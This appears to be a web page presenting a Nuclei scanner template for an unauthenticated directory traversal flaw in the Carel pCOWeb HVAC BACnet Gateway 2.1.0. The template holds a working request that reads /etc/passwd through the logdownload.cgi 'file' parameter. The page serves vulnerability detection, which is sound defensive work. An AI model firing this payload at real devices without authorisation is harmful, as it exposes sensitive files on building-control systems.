Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion

ID: carel-bacnet-gateway-traversal

Severity: high

Author: gy741

Tags: carel,lfi,traversal,unauth,bacnet

Description

Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the ‘file’ GET parameter through the ‘logdownload.cgi’ Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.

YAML Source

id: carel-bacnet-gateway-traversal

info:
  name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion
  author: gy741
  severity: high
  description: Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks.
  reference:
    - https://www.zeroscience.mk/codes/carelpco_dir.txt
    - https://thecyberpost.com/tools/exploits-cve/carel-pcoweb-hvac-bacnet-gateway-2-1-0-unauthenticated-directory-traversal/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: carel,lfi,traversal,unauth,bacnet

http:
  - method: GET
    path:
      - "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
# digest: 4a0a0047304502201e682fd563e070318f3bb0a3f43e69f0b28d35f789f92af97c4188bfc1d73bb8022100e0e959731de0fc975bd00d8752a796d642b82674d5ffacd87dff1c54c67d5ba3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/carel-bacnet-gateway-traversal.yaml"

View on Github